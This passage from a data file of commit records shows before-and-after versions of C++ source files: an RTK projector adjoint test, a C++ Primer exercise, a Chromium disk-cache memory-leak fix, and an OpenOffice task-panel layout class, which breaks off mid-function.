constantProjectionsSource->SetSize( size );\n  constantProjectionsSource->SetConstant( 0. );\n\n  \/\/ Update all sources\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( randomVolumeSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( constantVolumeSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( randomProjectionsSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( constantProjectionsSource->Update() );\n\n\n  \/\/ Geometry object\n  typedef rtk::ThreeDCircularProjectionGeometry GeometryType;\n  GeometryType::Pointer geometry = GeometryType::New();\n  for(unsigned int noProj=0; noProj<NumberOfProjectionImages; noProj++)\n    geometry->AddProjection(600., 1200., noProj*360.\/NumberOfProjectionImages);\n\n  std::cout << \"\\n\\n****** Joseph Forward projector ******\" << std::endl;\n\n  typedef rtk::JosephForwardProjectionImageFilter<OutputImageType, OutputImageType> JosephForwardProjectorType;\n  JosephForwardProjectorType::Pointer fw = JosephForwardProjectorType::New();\n  fw->SetInput(0, constantProjectionsSource->GetOutput());\n  fw->SetInput(1, randomVolumeSource->GetOutput());\n  fw->SetGeometry( geometry );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( fw->Update() );\n\n  std::cout << \"\\n\\n****** Joseph Back projector ******\" << std::endl;\n  \n  typedef rtk::JosephBackProjectionImageFilter<OutputImageType, OutputImageType> JosephBackProjectorType;\n  JosephBackProjectorType::Pointer bp = JosephBackProjectorType::New();\n  bp->SetInput(0, constantVolumeSource->GetOutput());\n  bp->SetInput(1, randomProjectionsSource->GetOutput());\n  bp->SetGeometry( geometry.GetPointer() );\n  \n\/\/  std::cout << \"Updating Back Projection filter\" << std::endl;\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( bp->Update() );\n\/\/  std::cout << \"Updated Back Projection filter\" << std::endl;\n\n  CheckScalarProducts<OutputImageType>(randomVolumeSource->GetOutput(), bp->GetOutput(), randomProjectionsSource->GetOutput(), fw->GetOutput());\n  std::cout << \"\\n\\nTest PASSED! \" << std::endl;\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>Fixed a bug in the rtkjosephadjointoperatorstest<commit_after>#include <itkImageRegionConstIterator.h>\n\n#include \"rtkTestConfiguration.h\"\n\/\/#include \"rtkDrawEllipsoidImageFilter.h\"\n\/\/#include \"rtkRayEllipsoidIntersectionImageFilter.h\"\n#include \"itkRandomImageSource.h\"\n#include \"rtkConstantImageSource.h\"\n#include \"rtkJosephBackProjectionImageFilter.h\"\n#include \"rtkJosephForwardProjectionImageFilter.h\"\n\n\/\/#ifdef USE_CUDA\n\/\/  #include \"rtkCudaBackProjectionImageFilter.h\"\n\/\/  #include \"rtkCudaSARTConeBeamReconstructionFilter.h\"\n\/\/  #include \"itkCudaImage.h\"\n\/\/#else\n\/\/  #include \"rtkSARTConeBeamReconstructionFilter.h\"\n\/\/#endif\n\ntemplate<class TImage>\n#if FAST_TESTS_NO_CHECKS\nvoid CheckScalarProducts(typename TImage::Pointer itkNotUsed(vol1), typename TImage::Pointer itkNotUsed(vol2), typename TImage::Pointer itkNotUsed(proj1), typename TImage::Pointer itkNotUsed(proj2))\n{\n}\n#else\nvoid CheckScalarProducts(typename TImage::Pointer vol1, typename TImage::Pointer vol2, typename TImage::Pointer proj1, typename TImage::Pointer proj2)\n{\n  typedef itk::ImageRegionConstIterator<TImage> ImageIteratorType;\n  ImageIteratorType itVol1( vol1, vol1->GetBufferedRegion() );\n  ImageIteratorType itVol2( vol2, vol2->GetBufferedRegion() );\n  ImageIteratorType itProj1( proj1, proj1->GetBufferedRegion() );\n  ImageIteratorType itProj2( proj2, proj2->GetBufferedRegion() );\n\n  typename TImage::PixelType scalarProductVols, scalarProductProjs;\n  scalarProductVols = 0;\n  scalarProductProjs = 0;\n\n  while( !itVol1.IsAtEnd() )\n    {\n    scalarProductVols += itVol1.Get() * itVol2.Get();\n    ++itVol1;\n    ++itVol2;\n    }\n\n  while( !itProj1.IsAtEnd() )\n    {\n    scalarProductProjs += itProj1.Get() * itProj2.Get();\n    ++itProj1;\n    ++itProj2;\n    }\n  \n  \/\/ QI\n  double ratio = scalarProductVols \/ scalarProductProjs;\n  std::cout << \"ratio = \" << ratio << std::endl;\n\n  \/\/ Checking results\n  if (vcl_abs(ratio-1)>0.0001)\n  {\n    std::cerr << \"Test Failed, ratio not valid! \"\n              << ratio-1 << \" instead of 0.0001\" << std::endl;\n    exit( EXIT_FAILURE);\n  }\n}\n#endif\n\n\/**\n * \\file rtkjosephadjointoperatorstest.cxx\n *\n * \\brief Tests whether Joseph forward and back projectors are matched\n *\n * This test generates a random volume \"v\" and a random set of projections \"p\",\n * and compares the scalar products <Rv , p> and <v, R* p>, where R is the \n * Joseph forward projector and R* is the Joseph back projector. If R* is indeed \n * the adjoint of R, these scalar products are equal.\n *\n * \\author Cyril Mory\n *\/\n\nint main(int, char** )\n{\n  const unsigned int Dimension = 3;\n  typedef float                                    OutputPixelType;\n\n#ifdef USE_CUDA\n  typedef itk::CudaImage< OutputPixelType, Dimension > OutputImageType;\n#else\n  typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n#endif\n\n#if FAST_TESTS_NO_CHECKS\n  const unsigned int NumberOfProjectionImages = 3;\n#else\n  const unsigned int NumberOfProjectionImages = 180;\n#endif\n\n\n  \/\/ Random image sources\n  typedef itk::RandomImageSource< OutputImageType > RandomImageSourceType;\n  RandomImageSourceType::Pointer randomVolumeSource  = RandomImageSourceType::New();\n  RandomImageSourceType::Pointer randomProjectionsSource = RandomImageSourceType::New();\n\n  \/\/ Constant sources\n  typedef rtk::ConstantImageSource< OutputImageType > ConstantImageSourceType;\n  ConstantImageSourceType::Pointer constantVolumeSource = ConstantImageSourceType::New();\n  ConstantImageSourceType::Pointer constantProjectionsSource = ConstantImageSourceType::New();\n  \n  \/\/ Image meta data\n  RandomImageSourceType::PointType origin;\n  RandomImageSourceType::SizeType size;\n  RandomImageSourceType::SpacingType spacing;\n\n\n  \/\/ Volume metadata\n  origin[0] = -127.;\n  origin[1] = -127.;\n  origin[2] = -127.;\n#if FAST_TESTS_NO_CHECKS\n  size[0] = 2;\n  size[1] = 2;\n  size[2] = 2;\n  spacing[0] = 252.;\n  spacing[1] = 252.;\n  spacing[2] = 252.;\n#else\n  size[0] = 64;\n  size[1] = 64;\n  size[2] = 64;\n  spacing[0] = 4.;\n  spacing[1] = 4.;\n  spacing[2] = 4.;\n#endif\n  randomVolumeSource->SetOrigin( origin );\n  randomVolumeSource->SetSpacing( spacing );\n  randomVolumeSource->SetSize( size );\n  randomVolumeSource->SetMin( 0. );\n  randomVolumeSource->SetMax( 1. );\n  randomVolumeSource->SetNumberOfThreads(2); \/\/With 1, it's deterministic\n\n  constantVolumeSource->SetOrigin( origin );\n  constantVolumeSource->SetSpacing( spacing );\n  constantVolumeSource->SetSize( size );\n  constantVolumeSource->SetConstant( 0. );\n\n  \/\/ Projections metadata\n  origin[0] = -255.;\n  origin[1] = -255.;\n  origin[2] = -255.;\n#if FAST_TESTS_NO_CHECKS\n  size[0] = 2;\n  size[1] = 2;\n  size[2] = NumberOfProjectionImages;\n  spacing[0] = 504.;\n  spacing[1] = 504.;\n  spacing[2] = 504.;\n#else\n  size[0] = 64;\n  size[1] = 64;\n  size[2] = NumberOfProjectionImages;\n  spacing[0] = 8.;\n  spacing[1] = 8.;\n  spacing[2] = 8.;\n#endif\n  randomProjectionsSource->SetOrigin( origin );\n  randomProjectionsSource->SetSpacing( spacing );\n  randomProjectionsSource->SetSize( size );\n  randomProjectionsSource->SetMin( 0. );\n  randomProjectionsSource->SetMax( 100. );\n  randomProjectionsSource->SetNumberOfThreads(2); \/\/With 1, it's deterministic\n\n  constantProjectionsSource->SetOrigin( origin );\n  constantProjectionsSource->SetSpacing( spacing );\n  constantProjectionsSource->SetSize( size );\n  constantProjectionsSource->SetConstant( 0. );\n\n  \/\/ Update all sources\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( randomVolumeSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( constantVolumeSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( randomProjectionsSource->Update() );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( constantProjectionsSource->Update() );\n\n\n  \/\/ Geometry object\n  typedef rtk::ThreeDCircularProjectionGeometry GeometryType;\n  GeometryType::Pointer geometry = GeometryType::New();\n  for(unsigned int noProj=0; noProj<NumberOfProjectionImages; noProj++)\n    geometry->AddProjection(600., 1200., noProj*360.\/NumberOfProjectionImages);\n\n  std::cout << \"\\n\\n****** Joseph Forward projector ******\" << std::endl;\n\n  typedef rtk::JosephForwardProjectionImageFilter<OutputImageType, OutputImageType> JosephForwardProjectorType;\n  JosephForwardProjectorType::Pointer fw = JosephForwardProjectorType::New();\n  fw->SetInput(0, constantProjectionsSource->GetOutput());\n  fw->SetInput(1, randomVolumeSource->GetOutput());\n  fw->SetGeometry( geometry );\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( fw->Update() );\n\n  std::cout << \"\\n\\n****** Joseph Back projector ******\" << std::endl;\n  \n  typedef rtk::JosephBackProjectionImageFilter<OutputImageType, OutputImageType> JosephBackProjectorType;\n  JosephBackProjectorType::Pointer bp = JosephBackProjectorType::New();\n  bp->SetInput(0, constantVolumeSource->GetOutput());\n  bp->SetInput(1, randomProjectionsSource->GetOutput());\n  bp->SetGeometry( geometry.GetPointer() );\n  \n\/\/  std::cout << \"Updating Back Projection filter\" << std::endl;\n  TRY_AND_EXIT_ON_ITK_EXCEPTION( bp->Update() );\n\/\/  std::cout << \"Updated Back Projection filter\" << std::endl;\n\n  CheckScalarProducts<OutputImageType>(randomVolumeSource->GetOutput(), bp->GetOutput(), randomProjectionsSource->GetOutput(), fw->GetOutput());\n  std::cout << \"\\n\\nTest PASSED! \" << std::endl;\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *  @file       main.cpp\n *  @author     Alan.W\n *  @date       21  Jan 2014\n *  @remark     This code is for the exercises from C++ Primer 5th Edition\n *  @note\n ***************************************************************************\/\n\/\/!\n\/\/! Exercise 15.4:\n\/\/! Which of the following declarations, if any, are incorrect? Explain why.\n\/\/       class Base { ... };\n\/\/      (a) class Derived : public Derived { ... }; \/\/incorrect, deirve from itself\n\/\/      (b) class Derived : private Base { ... };   \/\/incorrect, this is a definition not a declaration\n\/\/      (c) class Derived : public Base;            \/\/incorrect, A derived class is declared like any other class. The declaration\n                                                    \/\/contains the class name but does not include its derivation list.\n                                                    \/\/@ reported by lafener, check #154 for detail.\n\/\/! Exercise 15.5:\n\/\/! Define your own version of the Bulk_quote class.\n\/\/!\n\/\/! Exercise 15.6:\n\/\/! Test your print_total function from the exercises in § 15.2.1 (p. 595)\n\/\/! by passing both Quote and Bulk_quote objects o that function.\n\/\/!\n\n#include <iostream>\n#include <string>\n\n#include \"quote.h\"\n#include \"bulk_quote.h\"\n\ndouble print_total (std::ostream& os, const Quote& item, size_t n);\n\nint main()\n{\n    \/\/! ex15.6\n    Quote q(\"textbook\", 10.60);\n    Bulk_quote bq(\"textbook\", 10.60, 10, 0.3);\n\n    print_total(std::cout, q, 12);\n    print_total(std::cout, bq, 12);\n\n    return 0;\n}\n\ndouble print_total(std::ostream &os, const Quote &item, size_t n)\n{\n    double ret = item.net_price(n);\n\n    os << \"ISBN:\" << item.isbn()\n       << \"# sold: \" << n << \" total due: \" << ret << std::endl;\n\n    return ret;\n}\n\n\n\n\n\n\n<commit_msg>Update main.cpp<commit_after>\/\/!\n\/\/! Exercise 15.4:\n\/\/! Which of the following declarations, if any, are incorrect? Explain why.\n\/\/       class Base { ... };\n\/\/      (a) class Derived : public Derived { ... }; \/\/incorrect, deirve from itself\n\/\/      (b) class Derived : private Base { ... };   \/\/incorrect, this is a definition not a declaration\n\/\/      (c) class Derived : public Base;            \/\/incorrect, A derived class is declared like any other class. The declaration\n                                                    \/\/contains the class name but does not include its derivation list.\n                                                    \n\/\/! Exercise 15.5:\n\/\/! Define your own version of the Bulk_quote class.\n\/\/!\n\/\/! Exercise 15.6:\n\/\/! Test your print_total function from the exercises in § 15.2.1 (p. 595)\n\/\/! by passing both Quote and Bulk_quote objects to that function.\n\/\/!\n\n#include <iostream>\n#include <string>\n\n#include \"quote.h\"\n#include \"bulk_quote.h\"\n\ndouble print_total (std::ostream& os, const Quote& item, size_t n);\n\nint main()\n{\n    \/\/! ex15.6\n    Quote q(\"textbook\", 10.60);\n    Bulk_quote bq(\"textbook\", 10.60, 10, 0.3);\n\n    print_total(std::cout, q, 12);\n    print_total(std::cout, bq, 12);\n\n    return 0;\n}\n\ndouble print_total(std::ostream &os, const Quote &item, size_t n)\n{\n    double ret = item.net_price(n);\n\n    os << \"ISBN:\" << item.isbn()\n       << \"# sold: \" << n << \" total due: \" << ret << std::endl;\n\n    return ret;\n}\n\n\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/disk_cache\/file.h\"\n\n#include <fcntl.h>\n\n#include \"base\/logging.h\"\n#include \"net\/disk_cache\/disk_cache.h\"\n\nnamespace disk_cache {\n\nFile::File(OSFile file)\n    : init_(true), os_file_(file) {\n}\n\nbool File::Init(const std::wstring& name) {\n  if (init_)\n    return false;\n\n  os_file_ = CreateOSFile(name, OS_FILE_OPEN | OS_FILE_READ | OS_FILE_WRITE,\n                          NULL);\n  if (os_file_ < 0) {\n    os_file_ = 0;\n    return false;\n  }\n\n  init_ = true;\n  return true;\n}\n\nFile::~File() {\n  if (os_file_)\n    close(os_file_);\n}\n\nOSFile File::os_file() const {\n  return os_file_;\n}\n\nbool File::IsValid() const {\n  if (!init_)\n    return false;\n  return (INVALID_HANDLE_VALUE != os_file_);\n}\n\nbool File::Read(void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > LONG_MAX)\n    return false;\n\n  int ret = pread(os_file_, buffer, buffer_len, offset);\n  return (static_cast<size_t>(ret) == buffer_len);\n}\n\nbool File::Write(const void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  int ret = pwrite(os_file_, buffer, buffer_len, offset);\n  return (static_cast<size_t>(ret) == buffer_len);\n}\n\n\/\/ We have to increase the ref counter of the file before performing the IO to\n\/\/ prevent the completion to happen with an invalid handle (if the file is\n\/\/ closed while the IO is in flight).\nbool File::Read(void* buffer, size_t buffer_len, size_t offset,\n                FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  \/\/ TODO: Implement async IO.\n  bool ret = Read(buffer, buffer_len, offset);\n  if (ret && completed)\n    *completed = true;\n  return ret;\n}\n\nbool File::Write(const void* buffer, size_t buffer_len, size_t offset,\n                 FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  return AsyncWrite(buffer, buffer_len, offset, true, callback, completed);\n}\n\nbool File::PostWrite(const void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  return AsyncWrite(buffer, buffer_len, offset, false, NULL, NULL);\n}\n\nbool File::AsyncWrite(const void* buffer, size_t buffer_len, size_t offset,\n                      bool notify, FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  \/\/ TODO: Implement async IO.\n  bool ret = Write(buffer, buffer_len, offset);\n  if (ret && completed)\n    *completed = true;\n  return ret;\n}\n\nbool File::SetLength(size_t length) {\n  DCHECK(init_);\n  if (length > ULONG_MAX)\n    return false;\n\n  return 0 == ftruncate(os_file_, length);\n}\n\nsize_t File::GetLength() {\n  DCHECK(init_);\n  size_t ret = lseek(os_file_, 0, SEEK_END);\n  return ret;\n}\n\n}  \/\/ namespace disk_cache\n<commit_msg>Fix a memory leak on the disk cache for posix.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/disk_cache\/file.h\"\n\n#include <fcntl.h>\n\n#include \"base\/logging.h\"\n#include \"net\/disk_cache\/disk_cache.h\"\n\nnamespace disk_cache {\n\nFile::File(OSFile file)\n    : init_(true), os_file_(file) {\n}\n\nbool File::Init(const std::wstring& name) {\n  if (init_)\n    return false;\n\n  os_file_ = CreateOSFile(name, OS_FILE_OPEN | OS_FILE_READ | OS_FILE_WRITE,\n                          NULL);\n  if (os_file_ < 0) {\n    os_file_ = 0;\n    return false;\n  }\n\n  init_ = true;\n  return true;\n}\n\nFile::~File() {\n  if (os_file_)\n    close(os_file_);\n}\n\nOSFile File::os_file() const {\n  return os_file_;\n}\n\nbool File::IsValid() const {\n  if (!init_)\n    return false;\n  return (INVALID_HANDLE_VALUE != os_file_);\n}\n\nbool File::Read(void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > LONG_MAX)\n    return false;\n\n  int ret = pread(os_file_, buffer, buffer_len, offset);\n  return (static_cast<size_t>(ret) == buffer_len);\n}\n\nbool File::Write(const void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  int ret = pwrite(os_file_, buffer, buffer_len, offset);\n  return (static_cast<size_t>(ret) == buffer_len);\n}\n\n\/\/ We have to increase the ref counter of the file before performing the IO to\n\/\/ prevent the completion to happen with an invalid handle (if the file is\n\/\/ closed while the IO is in flight).\nbool File::Read(void* buffer, size_t buffer_len, size_t offset,\n                FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  \/\/ TODO: Implement async IO.\n  bool ret = Read(buffer, buffer_len, offset);\n  if (ret && completed)\n    *completed = true;\n  return ret;\n}\n\nbool File::Write(const void* buffer, size_t buffer_len, size_t offset,\n                 FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  return AsyncWrite(buffer, buffer_len, offset, true, callback, completed);\n}\n\nbool File::PostWrite(const void* buffer, size_t buffer_len, size_t offset) {\n  DCHECK(init_);\n  return AsyncWrite(buffer, buffer_len, offset, false, NULL, NULL);\n}\n\nbool File::AsyncWrite(const void* buffer, size_t buffer_len, size_t offset,\n                      bool notify, FileIOCallback* callback, bool* completed) {\n  DCHECK(init_);\n  if (buffer_len > ULONG_MAX || offset > ULONG_MAX)\n    return false;\n\n  \/\/ TODO: Implement async IO.\n  bool ret = Write(buffer, buffer_len, offset);\n  if (ret && completed)\n    *completed = true;\n\n  \/\/ If we supply our own async callback, and the caller is not asking to be\n  \/\/ notified when completed, we are supposed to delete the buffer.\n  if (ret && !callback && !notify)\n    delete[] reinterpret_cast<const char*>(buffer);\n\n  return ret;\n}\n\nbool File::SetLength(size_t length) {\n  DCHECK(init_);\n  if (length > ULONG_MAX)\n    return false;\n\n  return 0 == ftruncate(os_file_, length);\n}\n\nsize_t File::GetLength() {\n  DCHECK(init_);\n  size_t ret = lseek(os_file_, 0, SEEK_END);\n  return ret;\n}\n\n}  \/\/ namespace disk_cache\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: SubToolPanel.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: kz $ $Date: 2006-12-12 18:42:02 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#include \"taskpane\/SubToolPanel.hxx\"\n\n#include \"TaskPaneFocusManager.hxx\"\n#include \"taskpane\/TitleBar.hxx\"\n#include \"taskpane\/TitledControl.hxx\"\n#include \"taskpane\/ControlContainer.hxx\"\n#include \"AccessibleTreeNode.hxx\"\n\n#ifndef _SV_DECOVIEW_HXX\n#include <vcl\/decoview.hxx>\n#endif\n#include <vcl\/svapp.hxx>\n\nnamespace sd { namespace toolpanel {\n\n\nSubToolPanel::SubToolPanel (\n    TreeNode* pParent)\n    : Control (pParent->GetWindow(), WB_DIALOGCONTROL),\n      TreeNode(pParent),\n      maWindowFiller(this),\n      mbIsRearrangePending(true),\n      mbIsLayoutPending(true),\n      mnChildrenWidth(0),\n      mnVerticalBorder(0),\n      mnVerticalGap(3),\n      mnHorizontalBorder(2)\n{\n    SetAccessibleName (\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"));\n    mpControlContainer->SetMultiSelection (true);\n\n    SetBorderStyle (WINDOW_BORDER_NORMAL);\n    SetMapMode (MapMode(MAP_PIXEL));\n\n    \/\/ To reduce flickering during repaints make the container windows\n    \/\/ transparent and rely on their children to paint the whole area.\n    SetBackground(Wallpaper());\n    maWindowFiller.SetBackground(\n        Application::GetSettings().GetStyleSettings().GetWindowColor());\n}\n\n\n\n\nSubToolPanel::~SubToolPanel (void)\n{\n    sal_uInt32 nCount = mpControlContainer->GetControlCount();\n    for (sal_uInt32 nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TitledControl* pControl = static_cast<TitledControl*>(\n            mpControlContainer->GetControl(nIndex));\n        pControl->GetControl()->GetWindow()->RemoveEventListener(\n            LINK(this,SubToolPanel,WindowEventListener));\n    }\n    mpControlContainer->DeleteChildren();\n}\n\n\n\n\nvoid SubToolPanel::ListHasChanged (void)\n{\n    mpControlContainer->ListHasChanged ();\n    RequestResize ();\n}\n\n\n\n\nvoid SubToolPanel::AddControl (\n    ::std::auto_ptr<TreeNode> pControl,\n    const String& rTitle,\n    ULONG nHelpId)\n{\n    pControl->GetWindow()->AddEventListener (\n        LINK(this,SubToolPanel,WindowEventListener));\n\n    \/\/ We are interested only in the title.  The control itself is\n    \/\/ managed by the content object.\n    TitledControl* pTitledControl = new TitledControl(\n        this,\n        pControl,\n        rTitle,\n        TitleBar::TBT_SUB_CONTROL_HEADLINE);\n    pTitledControl->GetWindow()->SetParent(this);\n    pTitledControl->GetWindow()->SetHelpId(nHelpId);\n    ::std::auto_ptr<TreeNode> pChild (pTitledControl);\n\n    \/\/ Add a down link only for the first control so that when\n    \/\/ entering the sub tool panel the focus is set to the first control.\n    if (mpControlContainer->GetControlCount() == 0)\n        FocusManager::Instance().RegisterDownLink(GetParent(), pTitledControl->GetWindow());\n    FocusManager::Instance().RegisterUpLink(pTitledControl->GetWindow(), GetParent());\n\n    mpControlContainer->AddControl (pChild);\n}\n\n\n\n\nvoid SubToolPanel::AddControl (::std::auto_ptr<TreeNode> pControl)\n{\n    pControl->GetWindow()->AddEventListener (\n        LINK(this,SubToolPanel,WindowEventListener));\n\n    \/\/ Add a down link only for the first control so that when\n    \/\/ entering the sub tool panel the focus is set to the first control.\n    if (mpControlContainer->GetControlCount() == 0)\n        FocusManager::Instance().RegisterDownLink(GetParent(), pControl->GetWindow());\n    FocusManager::Instance().RegisterUpLink(pControl->GetWindow(), GetParent());\n\n    mpControlContainer->AddControl (pControl);\n}\n\n\n\n\nvoid SubToolPanel::Paint (const Rectangle& rRect)\n{\n    if (mbIsRearrangePending)\n        Rearrange();\n    if (mbIsLayoutPending)\n        LayoutChildren();\n    ::Window::Paint (rRect);\n\n    \/\/ Paint the outer border and the space between every two children.\n    Color aOriginalLineColor (GetLineColor());\n    Color aOriginalFillColor (GetFillColor());\n\n    SetLineColor ();\n    SetFillColor (GetSettings().GetStyleSettings().GetWindowColor());\n\n    Size aSize (GetOutputSizePixel());\n    \/\/ Paint left and right vertical border.\n    Rectangle aVerticalArea (\n        Point(0,0),\n        Size(mnHorizontalBorder,aSize.Height()));\n    DrawRect (aVerticalArea);\n    aVerticalArea.Right() += mnHorizontalBorder + mnChildrenWidth - 1;\n    aVerticalArea.Left() = aVerticalArea.Right() + mnHorizontalBorder;\n    DrawRect (aVerticalArea);\n\n    \/\/ Paint horizontal stripes.\n    Rectangle aStripeArea (\n        Point (mnHorizontalBorder,0),\n        Size(mnChildrenWidth,0));\n    StripeList::const_iterator iStripe;\n    for (iStripe=maStripeList.begin(); iStripe!=maStripeList.end(); iStripe++)\n    {\n        aStripeArea.Top() = iStripe->first;\n        aStripeArea.Bottom() = iStripe->second;\n        if (aStripeArea.Bottom() < 0)\n            continue;\n        if (aStripeArea.Top() >= aSize.Height())\n            break;\n        DrawRect (aStripeArea);\n    }\n\n    SetLineColor (aOriginalLineColor);\n    SetFillColor (aOriginalFillColor);\n}\n\n\n\n\nvoid SubToolPanel::Resize (void)\n{\n    ::Window::Resize();\n    mbIsRearrangePending = true;\n    mbIsLayoutPending = true;\n}\n\n\n\n\nvoid SubToolPanel::RequestResize (void)\n{\n    mbIsRearrangePending = true;\n    mbIsLayoutPending = true;\n    Invalidate();\n}\n\n\n\n\nSize SubToolPanel::GetPreferredSize (void)\n{\n    return GetRequiredSize();\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetPreferredWidth (sal_Int32 )\n{\n    return GetPreferredSize().Width();\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetPreferredHeight (sal_Int32 )\n{\n    return GetPreferredSize().Height();\n}\n\n\n\n\nbool SubToolPanel::IsResizable (void)\n{\n    return true;\n}\n\n\n\n\n::Window* SubToolPanel::GetWindow (void)\n{\n    return this;\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetMinimumWidth (void)\n{\n    return TreeNode::GetMinimumWidth();\n}\n\n\n\n\nvoid SubToolPanel::ExpandControl (\n    TreeNode* pControl,\n    bool bExpansionState)\n{\n    \/\/ Toggle expand status.\n    pControl->Expand (bExpansionState);\n\n    Rearrange ();\n    Invalidate ();\n}\n\n\n\n\n\/** This control shows an expansion bar for every control and in a\n    separate area below that expansion area it shows all controls each\n    with its title bar.  When there is not enough space then show a\n    scroll bar in the control area.\n*\/\nvoid SubToolPanel::Rearrange (void)\n{\n    Size aRequiredSize (GetRequiredSize());\n    if (aRequiredSize.Width()>0 && aRequiredSize.Height()>0)\n    {\n        Size aAvailableSize (GetOutputSizePixel());\n\n        \/\/ Make the children at least as wide as the sub tool panel.\n        if (aRequiredSize.Width() < aAvailableSize.Width())\n            aRequiredSize.Width() = aAvailableSize.Width();\n        mnChildrenWidth = -2*mnHorizontalBorder;\n        mnChildrenWidth += aAvailableSize.Width();\n\n        LayoutChildren();\n\n        mbIsRearrangePending = false;\n    }\n}\n\n\n\n\nSize SubToolPanel::GetRequiredSize (void)\n{\n    \/\/ First determine the width of the children.  This is the maximum of\n    \/\/ the current window width and the individual minimum widths of the\n    \/\/ children.\n    int nChildrenWidth (GetSizePixel().Width());\n    unsigned int nCount = mpControlContainer->GetControlCount();\n    unsigned int nIndex;\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nMinimumWidth (pChild->GetMinimumWidth());\n        if (nMinimumWidth > nChildrenWidth)\n            nChildrenWidth = nMinimumWidth;\n    }\n\n    \/\/ Determine the accumulated width of all children when scaled to the\n    \/\/ minimum width.\n    nChildrenWidth -= 2*mnHorizontalBorder;\n    Size aTotalSize (nChildrenWidth,\n        2*mnVerticalBorder + (nCount-1) * mnVerticalGap);\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        sal_Int32 nHeight = pChild->GetPreferredHeight(nChildrenWidth);\n        aTotalSize.Height() += nHeight;\n    }\n\n    return aTotalSize;\n}\n\n\n\n\nsal_Int32 SubToolPanel::LayoutChildren (void)\n{\n    \/\/ Determine vertical space that can be distributed to sizable children.\n    unsigned int nCount (mpControlContainer->GetControlCount());\n    unsigned int nResizableCount = 0;\n    int nAvailableHeight = GetSizePixel().Height() - 2*mnVerticalBorder;\n    unsigned int nIndex;\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nControlHeight = pChild->GetPreferredHeight(mnChildrenWidth);\n        if (pChild->IsResizable())\n            nResizableCount++;\n        else\n            nAvailableHeight -= nControlHeight;\n    }\n\n    maStripeList.clear();\n\n    Point aPosition (0,0);\n    aPosition.X() += mnHorizontalBorder;\n    maStripeList.push_back( ::std::pair<int,int>(\n        aPosition.Y(),\n        aPosition.Y() + mnVerticalBorder - 1));\n    aPosition.Y() += mnVerticalBorder;\n\n    \/\/ Place the controls one over the other.\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        if (nIndex > 0)\n        {\n            maStripeList.push_back( ::std::pair<int,int>(\n                aPosition.Y(),\n                aPosition.Y() + mnVerticalGap - 1));\n            aPosition.Y() += mnVerticalGap;\n        